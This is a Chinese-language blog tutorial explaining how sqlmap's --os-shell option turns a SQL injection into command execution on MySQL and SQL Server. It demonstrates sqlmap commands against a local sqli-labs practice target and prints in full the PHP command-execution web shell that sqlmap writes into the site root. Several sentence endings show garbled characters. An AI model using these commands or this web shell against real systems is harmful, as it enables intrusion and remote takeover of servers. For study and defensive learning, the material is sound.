前言

蓝队二面的时候被问到了,很尴尬。平时不是很喜欢用sqlmap去跑,被问到了sqlmap-os-shell的原理,写下这篇文章记录并忏悔,简单介绍一下sqlmap-os-shell的原理以及简单操作一�?

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数�?

在mysql、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。那么他创建的这两个函数可以执行系统命令�?

在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建

条件

这个sqlmap-os-shell并不是任意拿过来一个注入点就可以使用,需要数据库或者用户有一些条件才可成功利�?

ps:其实os-shell的本质就是写入文件,那么自然说一下上传文件的两个前提条件,首先我们要知道网站的绝对路�?(我们的文件写入到哪里),然后要有导入导出的权限,有了这两个权限才能继续下去

sqlserver中,必要条件�?

  • 数据库支持外�?
  • 数据库权限为SA权限

Sqlserver –os-shell主要是利用xp_cmdshell扩展进行命令执行�?

不过这里我本地无SQL server的环境,这里就不演示了,其实大概跟MySQL一毛一样�?

mysql中,必要条件�?

  • 数据库支持外�?
  • Secure_file_priv参数为空或者为指定路径:当这个参数后面�? null 时,表示不允许导入导出,如果为具体文件夹时,表示仅允许在这个文件夹下导入导出,如果后面没有值(为空)时,表示可以在任何文件夹下导入导出�?
  • 对mysql目录存在写入权限�?
  • 针对版本大于5.1,需要存�?/lib/plugin目录�?

这里我主要针对MySQL进行演示�?

环境

我本地环境是apache5.3+mysql5.5.4,先打开my.ini看一眼Secure_file_priv参数是否符合条件,我们这里是存在的,为空说明可以在任何文件夹下导入导�?

那么条件具备就可以开始我们的操作了�?

sqlmap-os-shell演示

sql注入漏洞环境用的sql-labs的靶场,GitHub能找到;

测试是否为dba权限

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --is-dba

感觉好久不用sqlmap慢了好多,是错觉吗,不过结果出来�?

可以看到,当前用户拥有dba的权限,接下来就可以使用--os-shell了�?

开始攻�?

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --os-shell

选择语言

sqlmap默认为asp,这里根据你要攻击的网站是啥语言选啥就好�?

输入绝对路径

这里输入的是被攻击网站写入文件的路径 比如这里我写道phpstudy的根目录里面,就输入D:/phpstudy/www

建立os-shell

可以看到建立了os-shell并且执行命令成功返回了网站目�?

原理

sqlmap-os-shell原理其实很简单,只是我之前没有接触到,就是用 into outfile 函数上传了两个php文件,在sqlmap运行中可以找�?

http://127.0.0.1:80/tmpulvyf.php这个可以用来上传文件,http://127.0.0.1:80/tmpbkxki.php,这个文件可以用来执行命令,并且将结果返回回来�?

目录中也能看到这两个文件

其中http://127.0.0.1:80/tmpbkxki.php的源�?

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

那么其实我们去浏览器cmd传参也是一样的效果

另一个文件上传文件也是一�?

LjPJlF.png

总结

那么其实原理就可以总结出来�?,sqlmap-os-shell通过在有读写权限�?,通过select into outfile向网站目录下写入两个文件,实现了执行命令和文件上传的功�?,那么其实在有读写权限时我们自己也可以写进去木�?,在sql注入补充那篇文章中写到过,感兴趣的师傅可以去看�?